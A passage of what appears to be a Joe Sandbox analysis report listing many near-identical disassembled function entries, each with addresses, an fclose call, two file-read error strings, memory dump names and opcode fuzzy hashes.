fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction ID: 1530a1fb54a4a4607d96658e83b298e5d89d7ec585c19e5fa60623e2f43929cf
Opcode Fuzzy Hash: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction Fuzzy Hash: D0F05423F3824741F962BB0578427B991526F89B75F8945358D5C4B6C1DD3E598382A0

Function 00007FF775724868 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction ID: 51be8a490e1e08e4a3f5164ce5822924aa47bcad63ebcc087115975e6d315b41
Opcode Fuzzy Hash: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction Fuzzy Hash: 18F05423F3824741F962BB05B8417B991526F89B71F8945358D5C4A6C1DD3E598382A0

Function 00007FF775724872 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction ID: 48b59ad65841c59f8b884ad3730cd0292ec52fa8aee3208cf21cee5466b6fd3f
Opcode Fuzzy Hash: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction Fuzzy Hash: 73F05423F3824741F962BB0578417B991526F89B76F8945358D5C4A6C1ED3E598382A0

Function 00007FF77572487C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction ID: 1530a1fb54a4a4607d96658e83b298e5d89d7ec585c19e5fa60623e2f43929cf
Opcode Fuzzy Hash: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction Fuzzy Hash: D0F05423F3824741F962BB0578427B991526F89B75F8945358D5C4B6C1DD3E598382A0

Function 00007FF775724886 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction ID: ec2d63413657b2fa603b4fa87cb7647dab3b29bbcfd721279e475faa39bbbfc2
Opcode Fuzzy Hash: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction Fuzzy Hash: DDF05423F3824741F962BB05B8417B991526F89B75F8945358D5C4A6C1DE3E698382A0

Function 00007FF775724890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction ID: 67d1be7399e677caee23625330b4174cea5461be801341f27f55d0cf337e1f42
Opcode Fuzzy Hash: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction Fuzzy Hash: D6F05423F3824741F962BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF7757247A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction ID: 51be8a490e1e08e4a3f5164ce5822924aa47bcad63ebcc087115975e6d315b41
Opcode Fuzzy Hash: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction Fuzzy Hash: 18F05423F3824741F962BB05B8417B991526F89B71F8945358D5C4A6C1DD3E598382A0

Function 00007FF7757247B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction ID: 48b59ad65841c59f8b884ad3730cd0292ec52fa8aee3208cf21cee5466b6fd3f
Opcode Fuzzy Hash: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction Fuzzy Hash: 73F05423F3824741F962BB0578417B991526F89B76F8945358D5C4A6C1ED3E598382A0

Function 00007FF7757247BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction ID: 1530a1fb54a4a4607d96658e83b298e5d89d7ec585c19e5fa60623e2f43929cf
Opcode Fuzzy Hash: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction Fuzzy Hash: D0F05423F3824741F962BB0578427B991526F89B75F8945358D5C4B6C1DD3E598382A0

Function 00007FF7757247C6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction ID: ec2d63413657b2fa603b4fa87cb7647dab3b29bbcfd721279e475faa39bbbfc2
Opcode Fuzzy Hash: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction Fuzzy Hash: DDF05423F3824741F962BB05B8417B991526F89B75F8945358D5C4A6C1DE3E698382A0

Function 00007FF7757247D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction ID: 67d1be7399e677caee23625330b4174cea5461be801341f27f55d0cf337e1f42
Opcode Fuzzy Hash: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction Fuzzy Hash: D6F05423F3824741F962BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF775724B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 31318ca590b0d4edc6b4b8dd1b5f660c6e63fbab622208aafda98c0bb82bb7a9
Instruction ID: 5bd4e7f81f42379beb41e091632d4f427e95885871ca6e7c3f230e29be095e54
Opcode Fuzzy Hash: 31318ca590b0d4edc6b4b8dd1b5f660c6e63fbab622208aafda98c0bb82bb7a9
Instruction Fuzzy Hash: ABF05423F3824741F963BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF77572475D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction ID: 51be8a490e1e08e4a3f5164ce5822924aa47bcad63ebcc087115975e6d315b41
Opcode Fuzzy Hash: 9393f06e29f470aad05a9ac21c8f27fddfefef9e15528d3f3760fb910aa56bb1
Instruction Fuzzy Hash: 18F05423F3824741F962BB05B8417B991526F89B71F8945358D5C4A6C1DD3E598382A0

Function 00007FF775724767 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction ID: 48b59ad65841c59f8b884ad3730cd0292ec52fa8aee3208cf21cee5466b6fd3f
Opcode Fuzzy Hash: a7b978a7e4832d4bb202c2f2260062eca19eca3da90641ae14189d9ddb797fc6
Instruction Fuzzy Hash: 73F05423F3824741F962BB0578417B991526F89B76F8945358D5C4A6C1ED3E598382A0

Function 00007FF775724771 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction ID: 1530a1fb54a4a4607d96658e83b298e5d89d7ec585c19e5fa60623e2f43929cf
Opcode Fuzzy Hash: b0090d0964483dbd382502a5d46bbb8b92a76af7e006c7d57f6bc1aefe64a94b
Instruction Fuzzy Hash: D0F05423F3824741F962BB0578427B991526F89B75F8945358D5C4B6C1DD3E598382A0

Function 00007FF77572477B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction ID: ec2d63413657b2fa603b4fa87cb7647dab3b29bbcfd721279e475faa39bbbfc2
Opcode Fuzzy Hash: feb957511d62b8eaeb474345d65e8f4908472f50acb32604004acfb176bd1b87
Instruction Fuzzy Hash: DDF05423F3824741F962BB05B8417B991526F89B75F8945358D5C4A6C1DE3E698382A0

Function 00007FF775724785 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction ID: 67d1be7399e677caee23625330b4174cea5461be801341f27f55d0cf337e1f42
Opcode Fuzzy Hash: e6e6db5c1704923bc2628227bb79bfbea2e4cce4d4de5763f44ce758e01c5958
Instruction Fuzzy Hash: D6F05423F3824741F962BB0578417B991526F89B75F8945358D5C4A6C1DD3E598382A0

Function 00007FF775724B8B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

